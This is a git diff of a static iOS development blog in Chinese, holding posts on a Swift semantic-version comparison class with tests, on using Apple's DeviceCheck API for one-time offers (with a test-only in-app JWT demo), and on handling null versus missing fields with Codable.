+~> 1.2: (1.2 <= 版本 < 2) 1.3,1.4,1.5,1.3.2,1.4.1...
+~> 1: (1 <= 版本 < 2) 1.1.2,1.2.3,1.5.9,1.9.0...
+

1.首先我們需要定義出 Version 物件:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+
@objcMembers
+class Version: NSObject {
+    private(set) var major: Int
+    private(set) var minor: Int
+    private(set) var patch: Int
+
+    override var description: String {
+        return "\(self.major),\(self.minor),\(self.patch)"
+    }
+
+    init(_ major: Int, _ minor: Int, _ patch: Int) {
+        self.major = major
+        self.minor = minor
+        self.patch = patch
+    }
+
+    init(_ string: String) throws {
+        let result = try Version.parse(string: string)
+        self.major = result.version.major
+        self.minor = result.version.minor
+        self.patch = result.version.patch
+    }
+
+    static func parse(string: String) throws -> VersionParseResult {
+        let regex = "^(?:(>=|>|<=|<|~>|=|!=){1}\\s*)?(0|[1-9]\\d*)\\.(0|[1-9]\\d*)\\.(0|[1-9]\\d*)$"
+        let result = string.groupInMatches(regex)
+
+        if result.count == 4 {
+            //start with operator...
+            let versionOperator = VersionOperator(string: result[0])
+            guard versionOperator != .unSupported else {
+                throw VersionUnSupported()
+            }
+            let major = Int(result[1]) ?? 0
+            let minor = Int(result[2]) ?? 0
+            let patch = Int(result[3]) ?? 0
+            return VersionParseResult(versionOperator, Version(major, minor, patch))
+        } else if result.count == 3 {
+            //unSpecified operator...
+            let major = Int(result[0]) ?? 0
+            let minor = Int(result[1]) ?? 0
+            let patch = Int(result[2]) ?? 0
+            return VersionParseResult(.unSpecified, Version(major, minor, patch))
+        } else {
+            throw VersionUnSupported()
+        }
+    }
+}
+
+//Supported Objects
+@objc class VersionUnSupported: NSObject, Error { }
+
+@objc enum VersionOperator: Int {
+    case equal
+    case notEqual
+    case higherThan
+    case lowerThan
+    case lowerThanOrEqual
+    case higherThanOrEqual
+    case optimistic
+
+    case unSpecified
+    case unSupported
+
+    init(string: String) {
+        switch string {
+        case ">":
+            self = .higherThan
+        case "<":
+            self = .lowerThan
+        case "<=":
+            self = .lowerThanOrEqual
+        case ">=":
+            self = .higherThanOrEqual
+        case "~>":
+            self = .optimistic
+        case "=":
+            self = .equal
+        case "!=":
+            self = .notEqual
+        default:
+            self = .unSupported
+        }
+    }
+}
+
+@objcMembers
+class VersionParseResult: NSObject {
+    var versionOperator: VersionOperator
+    var version: Version
+    init(_ versionOperator: VersionOperator, _ version: Version) {
+        self.versionOperator = versionOperator
+        self.version = version
+    }
+}
+

可以看到 Version 就是個 major,minor,patch 的儲存器,解析方式寫成 static 方便外部呼叫使用,可能傳遞 1.0.0 or ≥1.0.1 這兩種格式,方便我們做字串解析、設定檔解析。

1
+2
+
Input: 1.0.0 => Output: .unSpecified, Version(1.0.0)
+Input: ≥ 1.0.1 => Output: .higherThanOrEqual, Version(1.0.0)
+

Regex 是參考「 語意化版本文件 」中提供的 Regex 參考進行修改的:

1
+
^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$
+

*因考量到專案與 Objective-c 混編, OC 也要能使用所以都宣告為 @objcMembers、也妥協使用兼容OC 的寫法。

(其實可以直接 VersionOperator 使用 enum: String、Result 使用 tuple/struct)

*若實作物件派生自 NSObject 在實作 Comparable/Equatable == 時記得也要實作 !=,原始 NSObject 的 != 操作不會是你預期的結果。

2.實作 Comparable 方法:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+
extension Version: Comparable {
+    static func < (lhs: Version, rhs: Version) -> Bool {
+        if lhs.major < rhs.major {
+            return true
+        } else if lhs.major == rhs.major {
+            if lhs.minor < rhs.minor {
+                return true
+            } else if lhs.minor == rhs.minor {
+                if lhs.patch < rhs.patch {
+                    return true
+                }
+            }
+        }
+
+        return false
+    }
+
+    static func == (lhs: Version, rhs: Version) -> Bool {
+        return lhs.major == rhs.major && lhs.minor == rhs.minor && lhs.patch == rhs.patch
+    }
+
+    static func != (lhs: Version, rhs: Version) -> Bool {
+        return !(lhs == rhs)
+    }
+
+    static func ~> (lhs: Version, rhs: Version) -> Bool {
+        let start = Version(lhs.major, lhs.minor, lhs.patch)
+        let end = Version(lhs.major, lhs.minor, lhs.patch)
+
+        if end.patch >= 0 {
+            end.minor += 1
+            end.patch = 0
+        } else if end.minor > 0 {
+            end.major += 1
+            end.minor = 0
+        } else {
+            end.major += 1
+        }
+        return start <= rhs && rhs < end
+    }
+
+    func compareWith(_ version: Version, operator: VersionOperator) -> Bool {
+        switch `operator` {
+        case .equal, .unSpecified:
+            return self == version
+        case .notEqual:
+            return self != version
+        case .higherThan:
+            return self > version
+        case .lowerThan:
+            return self < version
+        case .lowerThanOrEqual:
+            return self <= version
+        case .higherThanOrEqual:
+            return self >= version
+        case .optimistic:
+            return self ~> version
+        case .unSupported:
+            return false
+        }
+    }
+}
+

其實就是實現前文所述判斷邏輯,最後開一個 compareWith 的方法口,方便外部直接將解析結果帶入得到最終判斷。

使用範例:

1
+2
+3
+4
+5
+6
+7
+8
+
let shouldAskUserFeedbackVersion = ">= 2.0.0"
+let currentVersion = "3.0.0"
+do {
+  let result = try Version.parse(shouldAskUserFeedbackVersion)
+  result.version.comparWith(currentVersion, result.operator) // true
+} catch {
+  print("version string parse error!")
+}
+

或是…

1
+
Version(1,0,0) >= Version(0,0,9) //true...
+

支援 &gt;/≥/&lt;/≤/=/!=/~&gt; 操作符。

下一步

Test cases…

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+
import XCTest
+
+class VersionTests: XCTestCase {
+    func testHigher() throws {
+        let version = Version(3, 12, 1)
+        XCTAssertEqual(version > Version(2, 100, 120), true)
+        XCTAssertEqual(version > Version(3, 12, 0), true)
+        XCTAssertEqual(version > Version(3, 10, 0), true)
+        XCTAssertEqual(version >= Version(3, 12, 1), true)
+
+        XCTAssertEqual(version > Version(3, 12, 1), false)
+        XCTAssertEqual(version > Version(3, 12, 2), false)
+        XCTAssertEqual(version > Version(4, 0, 0), false)
+        XCTAssertEqual(version > Version(3, 13, 1), false)
+    }
+
+    func testLower() throws {
+        let version = Version(3, 12, 1)
+        XCTAssertEqual(version < Version(2, 100, 120), false)
+        XCTAssertEqual(version < Version(3, 12, 0), false)
+        XCTAssertEqual(version < Version(3, 10, 0), false)
+        XCTAssertEqual(version <= Version(3, 12, 1), true)
+
+        XCTAssertEqual(version < Version(3, 12, 1), false)
+        XCTAssertEqual(version < Version(3, 12, 2), true)
+        XCTAssertEqual(version < Version(4, 0, 0), true)
+        XCTAssertEqual(version < Version(3, 13, 1), true)
+    }
+
+    func testEqual() throws {
+        let version = Version(3, 12, 1)
+        XCTAssertEqual(version == Version(3, 12, 1), true)
+        XCTAssertEqual(version == Version(3, 12, 21), false)
+        XCTAssertEqual(version != Version(3, 12, 1), false)
+        XCTAssertEqual(version != Version(3, 12, 2), true)
+    }
+
+    func testOptimistic() throws {
+        let version = Version(3, 12, 1)
+        XCTAssertEqual(version ~> Version(3, 12, 1), true) //3.12.1 <= $0 < 3.13.0
+        XCTAssertEqual(version ~> Version(3, 12, 9), true) //3.12.1 <= $0 < 3.13.0
+        XCTAssertEqual(version ~> Version(3, 13, 0), false) //3.12.1 <= $0 < 3.13.0
+        XCTAssertEqual(version ~> Version(3, 11, 1), false) //3.12.1 <= $0 < 3.13.0
+        XCTAssertEqual(version ~> Version(3, 13, 1), false) //3.12.1 <= $0 < 3.13.0
+        XCTAssertEqual(version ~> Version(2, 13, 0), false) //3.12.1 <= $0 < 3.13.0
+        XCTAssertEqual(version ~> Version(3, 11, 100), false) //3.12.1 <= $0 < 3.13.0
+    }
+
+    func testVersionParse() throws {
+        let unSpecifiedVersion = try? Version.parse(string: "1.2.3")
+        XCTAssertNotNil(unSpecifiedVersion)
+        XCTAssertEqual(unSpecifiedVersion!.version == Version(1, 2, 3), true)
+        XCTAssertEqual(unSpecifiedVersion!.versionOperator, .unSpecified)
+
+        let optimisticVersion = try? Version.parse(string: "~> 1.2.3")
+        XCTAssertNotNil(optimisticVersion)
+        XCTAssertEqual(optimisticVersion!.version == Version(1, 2, 3), true)
+        XCTAssertEqual(optimisticVersion!.versionOperator, .optimistic)
+
+        let higherThanVersion = try? Version.parse(string: "> 1.2.3")
+        XCTAssertNotNil(higherThanVersion)
+        XCTAssertEqual(higherThanVersion!.version == Version(1, 2, 3), true)
+        XCTAssertEqual(higherThanVersion!.versionOperator, .higherThan)
+
+        XCTAssertThrowsError(try Version.parse(string: "!! 1.2.3")) { error in
+            XCTAssertEqual(error is VersionUnSupported, true)
+        }
+    }
+}
+

目前打算將 Version 再進行優化、效能測試調整、整理打包,然後跑一次建立自己的 cocoapods 流程。

不過目前已經有很完整的 Version 處理 Pod 專案,所以不必要重造輪子,單純只是想順一下建立流程XD。

也許也還會為已有的輪子提交實作 ~&gt; 的 PR。

參考資料:

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Apple Watch 原廠不鏽鋼米蘭錶帶開箱

AVPlayer 邊播邊 Cache 實戰

diff --git a/posts/c5e7e580c341/index.html b/posts/c5e7e580c341/index.html new file mode 100644 index 000000000..661d5be98 --- /dev/null +++ b/posts/c5e7e580c341/index.html @@ -0,0 +1,349 @@ + iOS 完美實踐一次性優惠或試用的方法 (Swift) | ZhgChgLi
Home iOS 完美實踐一次性優惠或試用的方法 (Swift)
Post
Cancel

iOS 完美實踐一次性優惠或試用的方法 (Swift)

iOS 完美實踐一次性優惠或試用的方法 (Swift)

iOS DeviceCheck 跟著你到天涯海角

在寫上一篇 Call Directory Extension 時無意間發現這個冷門的API,雖然已不是什麼新鮮事(WWDC 2017時公布/iOS ≥11支援)、實作方面也非常簡易;但還是小小的研究測試了一下並整理出文章當做個紀錄.

DeviceCheck 能幹嘛?

允許開發者針對使用者的裝置進行識別標記

自從 iOS ≥ 6 之後開發者無法取得使用者裝置的唯一識別符(UUID),折衷的做法是使用IDFV結合KeyChain(詳細可參考之前 這篇 ),但在 iCloud 換帳號或是重置手機…等狀況下,UUID還是會重置;無法保證裝置的唯一性,如果以此作為一些業務邏輯的儲存及判斷,例如:首次免費試用,就可能發生使用者狂換帳號、重置手機,可不斷無限試用的漏洞.

DeviceCheck 雖然不能讓我們得到保證不會改變的UUID,但他能做到「 儲存」 的功能,每個裝置Apple提供2 bits的雲端儲存空間,透過傳送裝置產生的臨時識別Token給Apple,可寫入/讀取那2 bits的資訊。

2 bits? 能存什麼?

只能組合出4種狀態,能做的功能有限.

與原本儲存方式比較:

✓ 表示資料還在

✓ 表示資料還在

p.s. 這邊小弟犧牲了自已的手機實際做了測試,結果吻合;就算我登出換iCloud、清出所有資料、還原所有設定、回到原廠初始狀態,重新安裝完APP都還是能取到值.

主要運作流程如下:

iOS APP 這邊透過DeviceCheck API產生一組識別裝置用的臨時Token,傳給後端再經由後端組合開發者的private key資訊、開發者資訊成JWT格式後轉傳給Apple伺服器;後端取得Apple回傳結果後處理完格式再丟回iOS APP.

DeviceCheck 的應用

附上 DeviceCheck 在 WWDC2017 上的截圖:

每個裝置只能存2 bits的資訊 ,所以能做的項目差不多就如官方所提及的應用包含裝置是否曾經已試用過、是否付費過、是否是拒絕往來戶…等等;且只能實現一項.

支援度: iOS ≥ 11

開始!

了解完基本資訊後,讓我們開始動手做吧!

iOS APP 端:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
import DeviceCheck
+//....
+//
+DCDevice.current.generateToken { dataOrNil, errorOrNil in
+  guard let data = dataOrNil else { return }
+  let deviceToken = data.base64EncodedString()
+            
+   //...
+   //POST deviceToken 到後端,請後端去跟蘋果伺服器查詢,然後再回傳結果給APP處理
+}
+

如流程所述,APP要做的只有取得臨時識別Token( deviceToken )!

再來就是將deviceToken發送到後端我們自己的API去處理.

後端:

重點在後端處理的部分

1.首先登入 開發者後台 記下 Team ID

2. 再點側欄的 Certificates, IDs & Profiles 前往憑證管理平台

選擇「Keys」-> 「All」-> 右上角「+」新增

選擇「Keys」-> 「All」-> 右上角「+」新增

Step 1.建立新Key,勾選「DeviceCheck」

Step 1.建立新Key,勾選「DeviceCheck」

Step 2. 「Confirm」確認

Step 2. 「Confirm」確認

Finished.

Finished.

最後一步建立完成後, 記下 Key ID 及點擊「Download」下載回 privateKey.p8 私鑰檔案.

這時候你已經準備齊全了所有推播所需資料:

  1. Team ID
  2. Key ID
  3. privateKey.p8

3. 依Apple規範組合 JWT(JSON Web Token) 格式

演算法: ES256

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
//HEADER:
+{
+  "alg": "ES256",
+  "kid": Key ID
+}
+//PAYLOAD:
+{
+  "iss": Team ID,
+  "iat": 請求時間戳(Unix Timestamp,EX:1556549164),
+  "exp": 逾期時間戳(Unix Timestamp,EX:1557000000)
+}
+//時間戳務必是整數格式!
+

取得組合的JWT字串:xxxxxx.xxxxxx.xxxxxx

4. 將資料發送給Apple伺服器&取得回傳結果

同APNS推播有分開發環境跟正式環境: 1.開發環境:api.development.devicecheck.apple.com (不知道為什麼我開發環境發送都會回傳失敗) 2.正式環境:api.devicecheck.apple.com

DeviceCheck API 提供兩個操作: 1.查詢儲存資料: https://api.devicecheck.apple.com/v1/query_two_bits

1
+2
+3
+4
+5
+6
+7
+
//Headers:
+Authorization: Bearer xxxxxx.xxxxxx.xxxxxx (組合的JWT字串)
+
+//Content:
+device_token:deviceToken (要查詢的裝置Token)
+transaction_id:UUID().uuidString (查詢識別符,這裡直接用UUID代表)
+timestamp: 請求時間戳(毫秒),注意!這裡是毫秒(EX: 1556549164000)
+

回傳狀態:

[官方文件](https://developer.apple.com/documentation/devicecheck/accessing_and_modifying_per-device_data){:target="_blank"}

官方文件

回傳內容:

1
+2
+3
+4
+5
+
{
+  "bit0": Int:2 bits 資料中第一位的資料:01,
+  "bit1": Int:2 bits 資料中第二位的資料:01,
+  "last_update_time": String:"最後修改時間 YYYY-MM"
+}
+

p.s. 你沒看錯,最後修改時間就只能顯示到年-月

2.寫入儲存資料: https://api.devicecheck.apple.com/v1/update_two_bits

1
+2
+3
+4
+5
+6
+7
+8
+9
+
//Headers:
+Authorization: Bearer xxxxxx.xxxxxx.xxxxxx (組合的JWT字串)
+
+//Content:
+device_token:deviceToken (要查詢的裝置Token)
+transaction_id:UUID().uuidString (查詢識別符,這裡直接用UUID代表)
+timestamp: 請求時間戳(毫秒),注意!這裡是毫秒(EX: 1556549164000)
+bit0: 2 bits 資料中第一位的資料:0或1
+bit1: 2 bits 資料中第二位的資料:0或1
+

5. 取得Apple伺服器回傳結果

回傳狀態:

[官方文件](https://developer.apple.com/documentation/devicecheck/accessing_and_modifying_per-device_data){:target="_blank"}

官方文件

回傳內容:無,回傳狀態 200 即表示寫入成功!

6. 後端API回傳結果給APP

APP在針對相應的狀態做回應就完成了!

後端部分補充:

這邊太久沒碰PHP了,有興趣請參考 iOS11で追加されたDeviceCheckについて 這篇文章的 requestToken.php 部分

Swift 版示範Demo:

因後端部分我無法提供實作且不是大家都會PHP,這邊提供一個用純iOS (Swift) 做的範例,直接在APP裡處理後端該做的那些事(組JWT,發送資料給頻果),給大家做參考!

不需撰寫後端程式就能模擬執行所有內容.

⚠請注意 僅為測試示範所需,不建議用於正式環境

這邊要感謝 Ethan Huang 大大的 CupertinoJWT 提供 iOS 在APP內產生JWT格式內容的支援!

Demo 主要程式及畫面:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+
//
+//  ViewController.swift
+//  DCDeviceTest
+//
+//  Created by 李仲澄 on 2019/4/29.
+//  Copyright © 2019 ZhgChgLi. All rights reserved.
+//
+import UIKit
+import DeviceCheck
+import CupertinoJWT
+
+extension String {
+    var queryEncode:String {
+        return self.addingPercentEncoding(withAllowedCharacters: .whitespacesAndNewlines)?.replacingOccurrences(of: "+", with: "%2B") ?? ""
+    }
+}
+class ViewController: UIViewController {
+
+    
+    @IBOutlet weak var getBtn: UIButton!
+    @IBOutlet weak var statusBtn: UIButton!
+    @IBAction func getBtnClick(_ sender: Any) {
+        DCDevice.current.generateToken { dataOrNil, errorOrNil in
+            guard let data = dataOrNil else { return }
+            
+            let deviceToken = data.base64EncodedString()
+            
+            //正式情況:
+            //POST deviceToken 到後端,請後端去跟蘋果伺服器查詢,然後再回傳結果給APP處理
+            
+            
+            //!!!!!!以下僅為測試、示範所需,不建議用於正式環境!!!!!!
+            //!!!!!!      請勿隨意暴露您的PRIVATE KEY    !!!!!!
+                let p8 = """
+                    -----BEGIN PRIVATE KEY-----
+                    -----END PRIVATE KEY-----
+                    """
+                let keyID = "" //你的KEY ID
+                let teamID = "" //你的Developer Team ID :https://developer.apple.com/account/#/membership
+            
+                let jwt = JWT(keyID: keyID, teamID: teamID, issueDate: Date(), expireDuration: 60 * 60)
+            
+                do {
+                    let token = try jwt.sign(with: p8)
+                    var request = URLRequest(url: URL(string: "https://api.devicecheck.apple.com/v1/update_two_bits")!)
+                    request.httpMethod = "POST"
+                    request.addValue("Bearer \(token)", forHTTPHeaderField: "Authorization")
+                    request.addValue("application/x-www-form-urlencoded", forHTTPHeaderField: "Content-Type")
+                    let json:[String : Any] = ["device_token":deviceToken,"transaction_id":UUID().uuidString,"timestamp":Int(Date().timeIntervalSince1970.rounded()) * 1000,"bit0":true,"bit1":false]
+                    request.httpBody = try? JSONSerialization.data(withJSONObject: json)
+                    
+                    let task = URLSession.shared.dataTask(with: request) { (data, response, error) in
+                        guard let data = data else {
+                            return
+                        }
+                        print(String(data:data, encoding: String.Encoding.utf8))
+                        DispatchQueue.main.async {
+                            self.getBtn.isHidden = true
+                            self.statusBtn.isSelected = true
+                        }
+                    }
+                    task.resume()
+                } catch {
+                    // Handle error
+                }
+            //!!!!!!以上僅為測試、示範所需,不建議用於正式環境!!!!!!
+            //
+            
+        }
+
+    }
+    
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        DCDevice.current.generateToken { dataOrNil, errorOrNil in
+            guard let data = dataOrNil else { return }
+            
+            let deviceToken = data.base64EncodedString()
+            
+            //正式情況:
+                //POST deviceToken 到後端,請後端去跟蘋果伺服器查詢,然後再回傳結果給APP處理
+            
+            
+            //!!!!!!以下僅為測試、示範所需,不建議用於正式環境!!!!!!
+            //!!!!!!      請勿隨意暴露您的PRIVATE KEY    !!!!!!
+                let p8 = """
+                -----BEGIN PRIVATE KEY-----
+                
+                -----END PRIVATE KEY-----
+                """
+                let keyID = "" //你的KEY ID
+                let teamID = "" //你的Developer Team ID :https://developer.apple.com/account/#/membership
+            
+                let jwt = JWT(keyID: keyID, teamID: teamID, issueDate: Date(), expireDuration: 60 * 60)
+            
+                do {
+                    let token = try jwt.sign(with: p8)
+                    var request = URLRequest(url: URL(string: "https://api.devicecheck.apple.com/v1/query_two_bits")!)
+                    request.httpMethod = "POST"
+                    request.addValue("Bearer \(token)", forHTTPHeaderField: "Authorization")
+                    request.addValue("application/x-www-form-urlencoded", forHTTPHeaderField: "Content-Type")
+                    let json:[String : Any] = ["device_token":deviceToken,"transaction_id":UUID().uuidString,"timestamp":Int(Date().timeIntervalSince1970.rounded()) * 1000]
+                    request.httpBody = try? JSONSerialization.data(withJSONObject: json)
+                    
+                    let task = URLSession.shared.dataTask(with: request) { (data, response, error) in
+                        guard let data = data,let json = try? JSONSerialization.jsonObject(with: data, options: .mutableContainers) as? [String:Any],let stauts = json["bit0"] as? Int else {
+                            return
+                        }
+                        print(json)
+                        
+                        if stauts == 1 {
+                            DispatchQueue.main.async {
+                                self.getBtn.isHidden = true
+                                self.statusBtn.isSelected = true
+                            }
+                        }
+                    }
+                    task.resume()
+                } catch {
+                    // Handle error
+                }
+            //!!!!!!以上僅為測試、示範所需,不建議用於正式環境!!!!!!
+            //
+            
+        }
+        // Do any additional setup after loading the view.
+    }
+
+
+}
+

畫面截圖

畫面截圖

這邊做的是一個一次性的優惠領取,每個裝置只能領一次!

完整專案下載:

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

自己的電話自己辨識(Swift)

AirPods 2 開箱及上手體驗心得

diff --git a/posts/cb00b1977537/index.html b/posts/cb00b1977537/index.html new file mode 100644 index 000000000..8c7ea8712 --- /dev/null +++ b/posts/cb00b1977537/index.html @@ -0,0 +1,337 @@ + 現實使用 Codable 上遇到的 Decode 問題場景總匯(下) | ZhgChgLi
Home 現實使用 Codable 上遇到的 Decode 問題場景總匯(下)
Post
Cancel

現實使用 Codable 上遇到的 Decode 問題場景總匯(下)

現實使用 Codable 上遇到的 Decode 問題場景總匯(下)

合理的處理 Response Null 欄位資料、不一定都要重寫 init decoder

Photo by [Zan](https://unsplash.com/@zanilic?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Zan

前言

既上篇「 現實使用 Codable 上遇到的 Decode 問題場景總匯 」後,開發進度繼續邁進又遇到了新的場景新的問題,故出了此下篇,繼續把遇到的情景、研究心路都記錄下來,方便日後回頭查閱。

前篇主要解決了 JSON String -> Entity Object 的 Decodable Mapping,有了 Entity Object 後我們可以轉換成 Model Object 在程式內傳遞使用、View Model Object 處理資料顯示邏輯…等等; 另一方面我們需要將 Entity 轉換成 NSManagedObject 存入本地 Core Data 中

主要問題

假設我們的歌曲 Entity 結構如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
struct Song: Decodable {
+    var id: Int
+    var name: String?
+    var file: String?
+    var converImage: String?
+    var likeCount: Int?
+    var like: Bool?
+    var length: Int?
+}
+

因 API EndPoint 並不一定會回傳完整資料欄位(只有 id 是一定會給),所以除 id 之外的欄位都是 Optional;例如:取得歌曲資訊的時候會回傳完整結構,但若是對歌曲收藏喜歡時僅會回傳 idlikeCountlike 三個有關聯更動的欄位資料。

我們希望 API Response 有什麼欄位資料都能一併存入 Core Data 裡,如果資料已存在就更新變動的欄位資料(incremental update)。

但此時問題就出現了:Codable Decode 換成 Entity Object 後我們無法區別 「資料欄位是想要設成 nil」 還是 「Response 沒給」

1
+2
+3
+4
+5
+
A Response:
+{
+  "id": 1,
+  "file": null
+}
+

對於 A Response、B Response 的 file 來說都是 null 、但意義不一一樣 ;A 是想把 file 欄位設為 null (清空原本資料)、 B 是想 update 其他資料,單純沒給 file 欄位而已。

Swift 社群有開發者提出 增加類似 date Strategy 的 null Strategy 在 JSONDecoder 中 ,讓我們能區分以上狀況,但目前沒有計畫要加入。

解決方案

如前所述,我們的架構是JSON String -> Entity Object -> NSManagedObject,所以當拿到 Entity Object 時已經是 Decode 後的結果了,沒有 raw data 可以操作;這邊當然可以拿原始 JSON String 比對操作,但與其這樣不如不要用 Codable。

首先參考 上一篇 使用 Associated Value Enum 當容器裝值。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
enum OptionalValue<T: Decodable>: Decodable {
+    case null
+    case value(T)
+    init(from decoder: Decoder) throws {
+        let container = try decoder.singleValueContainer()
+        if let value = try? container.decode(T.self) {
+            self = .value(value)
+        } else {
+            self = .null
+        }
+    }
+}
+

使用泛型,T 為真實資料欄位型別;.value(T) 能放 Decode 出來的值、.null 則代表值是 null。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+
struct Song: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case id
+        case file
+    }
+    
+    var id: Int
+    var file: OptionalValue<String>?
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        
+        self.id = try container.decode(Int.self, forKey: .id)
+        
+        if container.contains(.file) {
+            self.file = try container.decode(OptionalValue<String>.self, forKey: .file)
+        } else {
+            self.file = nil
+        }
+    }
+}
+
+var jsonData = """
+{
+    "id":1
+}
+""".data(using: .utf8)!
+var result = try! JSONDecoder().decode(Song.self, from: jsonData)
+print(result)
+
+jsonData = """
+{
+    "id":1,
+    "file":null
+}
+""".data(using: .utf8)!
+result = try! JSONDecoder().decode(Song.self, from: jsonData)
+print(result)
+
+jsonData = """
+{
+    "id":1,
+    "file":\"https://test.com/m.mp3\"
+}
+""".data(using: .utf8)!
+result = try! JSONDecoder().decode(Song.self, from: jsonData)
+print(result)
+

範例先簡化成只有 idfile 兩個資料欄位。

Song Entity 自行複寫實踐 Decode 方式,使用 contains(.KEY) 方法判斷 Response 有無給該欄位(無論值是什麼),如果有就 Decode 成 OptionalVale ;OptionalValue Enum 中會再對真正我們要的值做 Decode ,如果有值 Decode 成功則會放在 .value(T) 、如果給的值是 null (或 decode 失敗)則放在 .null 。

  1. Response 有給欄位&值時:OptionalValue.value(VALUE)
  2. Response 有給欄位&值是 null 時:OptionalValue.null
  3. Response 沒給欄位時:nil

這樣就能區分出是有給欄位還是沒給欄位,後續要寫入 Core Data 時就能判斷是要更新欄位成 null、還是沒有要更新此欄位。

其他研究 — Double Optional ❌

Optional!Optional! 在 Swift 上就很適合處理這個場景。

1
+2
+3
+4
+5
+6
+7
+8
+9
+
struct Song: Decodable {
+    var id: Int
+    var name: String??
+    var file: String??
+    var converImage: String??
+    var likeCount: Int??
+    var like: Bool??
+    var length: Int??
+}
+
  1. Response 有給欄位&值時:Optional(VALUE)
  2. Response 有給欄位&值是 null 時:Optional(nil)
  3. Response 沒給欄位時:nil

但是….Codable JSONDecoder Decode 對 Double Optional 跟 Optional 都是 decodeIfPresent 在處理,都視為 Optional ,不會特別處理 Double Optional;所以結果跟原本一樣。

其他研究 — Property Wrapper ❌

本來預想可以用 Property Wrapper 做優雅的封裝,例如:

1
+
@OptionalValue var file: String?
+

但還沒開始研究細節就發現有 Property Wrapper 標記的 Codable Property 欄位,API Response 就必須要有該欄位,否則會出現 keyNotFound error,即使該欄位是 Optional。?????

官方論壇也有針對此問題的 討論串 …估計之後會修正。

所以選用 BetterCodableCodableWrappers 這類套件的時候要考慮到目前 Property Wrapper 的這個問題。

其他問題場景

1.API Response 使用 0/1 代表 Bool,該如何 Decode?

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+
import Foundation
+
+struct Song: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case id
+        case name
+        case like
+    }
+    
+    var id: Int
+    var name: String?
+    var like: Bool?
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        self.id = try container.decode(Int.self, forKey: .id)
+        self.name = try container.decodeIfPresent(String.self, forKey: .name)
+        
+        if let intValue = try container.decodeIfPresent(Int.self, forKey: .like) {
+            self.like = (intValue == 1) ? true : false
+        } else if let boolValue = try container.decodeIfPresent(Bool.self, forKey: .like) {
+            self.like = boolValue
+        }
+    }
+}
+
+var jsonData = """
+{
+    "id": 1,
+    "name": "告五人",
+    "like": 0
+}
+""".data(using: .utf8)!
+var result = try! JSONDecoder().decode(Song.self, from: jsonData)
+print(result)
+

延伸前篇,我們可以自己在 init Decode 中,Decode 成 int/Bool 然後自己賦值、這樣就能擴充原本的欄位能接受 0/1/true/false了。

2.不想要每每都要重寫 init decoder

在不想要自幹 Decoder 的情況下,複寫原本的 JSON Decoder 擴充更多功能。

我們可以自行 extenstion KeyedDecodingContainer 對 public 方法自行定義,swift 會優先執行 module 下我們重定義的方法,複寫掉原本 Foundation 的實作。

影響的就是整個 module。

